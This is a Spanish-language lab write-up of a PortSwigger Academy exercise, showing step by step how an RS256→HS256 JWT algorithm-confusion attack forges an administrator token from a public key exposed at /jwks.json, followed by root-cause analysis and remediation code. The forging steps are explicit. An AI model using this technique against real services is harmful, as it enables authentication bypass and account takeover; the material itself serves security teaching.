← Writeups

JWT authentication bypass via algorithm confusion

Algorithm confusion RS256→HS256 explotando la clave pública RSA expuesta en /jwks.json: reutilización del material público como secreto HMAC para firmar un token de administrador.

Target Overview & Vulnerability Summary

El laboratorio gestiona sesiones con JWT firmados mediante un par de claves RSA. La implementación es vulnerable a algorithm confusion: la clave pública está expuesta en un endpoint estándar y el servidor acepta tokens HS256 firmados con esa misma clave pública usada como secreto HMAC simétrico.

Campo Valor
Severidad Alta (bypass de autenticación → GET /admin y eliminación de carlos)
Endpoint vulnerable POST /login, GET /jwks.json (divulgación de clave), GET /admin
Root cause El verificador deriva el algoritmo del header alg y reutiliza la clave pública RSA como clave HMAC, habilitando HS256

Technical Breakdown & Exploitation Flow

Tras un POST /login con wiener:peter, el JWT emitido decodifica con algoritmo RS256 (RSA + SHA-256, asimétrico):

{
  "kid": "c8f3051e-496e-47eb-8ccc-c40f5e2cf128",
  "alg": "RS256"
}
{
  "iss": "portswigger",
  "exp": 1757274914,
  "sub": "wiener"
}

El enunciado describe el par de claves RSA para firmar y verificar, pero con fallas de implementación que lo hacen vulnerable a confusion de algoritmos. El ataque requiere: obtener la clave pública, convertirla a PEM, inyectarla como clave simétrica y firmar un JWT modificado.

Paso 1 — Obtener la clave pública

Algunos servidores exponen sus claves públicas como objetos JWK (JSON Web Key) vía el endpoint estándar /jwks.json o /.well-known/jwks.json. La ruta URL + /jwks.json responde con un JWK Set (array de claves bajo el campo keys):

curl -s '<0aXX…web-security-academy.net>/jwks.json' | jq .
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "c8f3051e-496e-47eb-8ccc-c40f5e2cf128",
      "alg": "RS256",
      "n": "v4y5TvnV8mFTWXCg8B5Hv0C5RHedyApipVRGeMCAQtWUaQWvw178JXxzzLmXTyeDv7zC6DILlvrdFSg2nS3VwOpjsVMUgjcdt-lzSt9SDiC51TXIggK06DEknBdlL3fy-xmLUrmfzDcoHLOvwmcmP_WNXDq5mLobA_W5MnSEnlt6L7QovNdu7ypHYYeIp6frwMugOp2yhwXjQ_JDRZUxSkbG6cYT956F09Zv6VJbnYifzC73Fzj3XkuMllxGPkWNdsMyn11tkDJEjqOG_84Pa7KELVB9uW3W16ajZAuISogMpO4o7LDGRcQmzvrMKkYsHHHFoRuDEOjfafd1SFJmHQ"
    }
  ]
}

Paso 2 — Convertir el JWK a PEM

En JWT Editor se crea una New RSA Key, se presiona Generate y se pega el bloque del JWK; luego PEM convierte el par a formato PEM estándar:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv4y5TvnV8mFTWXCg8B5H
v0C5RHedyApipVRGeMCAQtWUaQWvw178JXxzzLmXTyeDv7zC6DILlvrdFSg2nS3V
wOpjsVMUgjcdt+lzSt9SDiC51TXIggK06DEknBdlL3fy+xmLUrmfzDcoHLOvwmcm
P/WNXDq5mLobA/W5MnSEnlt6L7QovNdu7ypHYYeIp6frwMugOp2yhwXjQ/JDRZUx
SkbG6cYT956F09Zv6VJbnYifzC73Fzj3XkuMllxGPkWNdsMyn11tkDJEjqOG/84P
a7KELVB9uW3W16ajZAuISogMpO4o7LDGRcQmzvrMKkYsHHHFoRuDEOjfafd1SFJm
HQIDAQAB
-----END PUBLIC KEY-----

Paso 3 — Usar la clave pública como clave simétrica

Con Burp Decoder, el PEM se codifica a base64:

LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF2NHk1VHZuVjhtRlRXWENnOEI1SAp2MEM1UkhlZHlBcGlwVlJHZU1DQVF0V1VhUVd2dzE3OEpYeHp6TG1YVHllRHY3ekM2RElMbHZyZEZTZzJuUzNWCndPcGpzVk1VZ2pjZHQrbHpTdDlTRGlDNTFUWElnZ0swNkRFa25CZGxMM2Z5K3htTFVybWZ6RGNvSExPdndtY20KUC9XTlhEcTVtTG9iQS9XNU1uU0VubHQ2TDdRb3ZOZHU3eXBIWVllSXA2ZnJ3TXVnT3AyeWh3WGpRL0pEUlpVeApTa2JHNmNZVDk1NkYwOVp2NlZKYm5ZaWZ6QzczRnpqM1hrdU1sbHhHUGtXTmRzTXluMTF0a0RKRWpxT0cvODRQCmE3S0VMVkI5dVczVzE2YWpaQXVJU29nTXBPNG83TERHUmNRbXp2ck1La1lzSEhIRm9SdURFT2pmYWZkMVNGSm0KSFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==

En la pestaña principal de JWT Editor: New Symmetric Key → Generate → reemplazar el campo k por ese valor base64. La clave simétrica queda registrada:

{
    "kty": "oct",
    "kid": "ee35583b-ac3f-4d6c-8daa-a64b2df4cf4d",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF2NHk1VHZuVjhtRlRXWENnOEI1SAp2MEM1UkhlZHlBcGlwVlJHZU1DQVF0V1VhUVd2dzE3OEpYeHp6TG1YVHllRHY3ekM2RElMbHZyZEZTZzJuUzNWCndPcGpzVk1VZ2pjZHQrbHpTdDlTRGlDNTFUWElnZ0swNkRFa25CZGxMM2Z5K3htTFVybWZ6RGNvSExPdndtY20KUC9XTlhEcTVtTG9iQS9XNU1uU0VubHQ2TDdRb3ZOZHU3eXBIWVllSXA2ZnJ3TXVnT3AyeWh3WGpRL0pEUlpVeApTa2JHNmNZVDk1NkYwOVp2NlZKYm5ZaWZ6QzczRnpqM1hrdU1sbHhHUGtXTmRzTXluMTF0a0RKRWpxT0cvODRQCmE3S0VMVkI5dVczVzE2YWpaQXVJU29nTXBPNG83TERHUmNRbXp2ck1La1lzSEhIRm9SdURFT2pmYWZkMVNGSm0KSFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}

Paso 4 — Confusión de algoritmo y firma del token de administrador

En Repeater, sobre la request con el JWT, se modifica el header para declarar un algoritmo distinto (HS256) y el claim sub a administrator:

{
    "kid": "c8f3051e-496e-47eb-8ccc-c40f5e2cf128",
    "alg": "HS256"
}

Se firma con la clave simétrica creada: algoritmo HS256 y la opción "don't modify header" activada para que la extensión no revierta los cambios del header (conserva alg: HS256 y kid original).

Paso 5 — Acceso al panel de administración

Con el token forjado: GET /admin y posteriormente DELETE /admin?username=carlos.

Recapitulación del flujo:

  1. Obtener la public key desde /jwks.json.
  2. Crear la clave RSA en JWT Editor con el valor de la public key.
  3. Generar el valor en formato PEM.
  4. Codificar el PEM en base64 (Burp Decoder).
  5. Crear una clave simétrica cuyo campo k es igual al valor codificado.
  6. Modificar alg para generar la confusion y el claim sub a administrator.
  7. Firmar con la clave simétrica.

Root Cause Analysis

El patrón defectuoso es doble:

  1. Exposición de la clave pública a través de /jwks.json, que es información pública por diseño pero se vuelve crítica cuando el mismo material se acepta como secreto.
  2. Confusión de algoritmos: el verificador selecciona el algoritmo desde el header alg sin validar que sea compatible con el tipo de clave. Al aceptar HS256, usa el material de la clave pública RSA como clave HMAC. Como la clave pública es conocida por cualquiera (está expuesta o es derivable), cualquier atacante puede firmar tokens válidos:
// defectuoso: alg tomado del header, clave pública usada como HMAC
alg := token.Header().Algorithm()
switch alg {
case "HS256":
    hmacKey := parseRsaPublicKeyFromJwks(jwksURL) // rsa.PublicKey → bytes
    return jwt.Verify(hmacKey)                    // valida con clave pública
case "RS256":
    return jwt.VerifyRSA(token)
}

Secure Remediation

  • Fijar el algoritmo por clave, no por header: una tabla kid → (clave, algoritmo) y rechazo de cualquier combinación fuera de la esperada:
allowed := map[string]jwa.KeyAlgorithm{
    "c8f3051e-496e-47eb-8ccc-c40f5e2cf128": jwa.RS256,
}
alg := token.Header().Algorithm()
if allowed[kid] != alg {
    return errors.New("alg/kid mismatch")
}
  • Usar exclusivamente algoritmos asimétricos (RS256/RS384/RS512, ES*, EdDSA) cuando la clave es pública; nunca permitir HS* con material de clave pública.
  • Validar que el kid del token exista en el registro autorizado antes de seleccionar clave.
  • En el JWK Set, marcar use: "sig" y validar el origen de /jwks.json (HTTPS, sin redirecciones).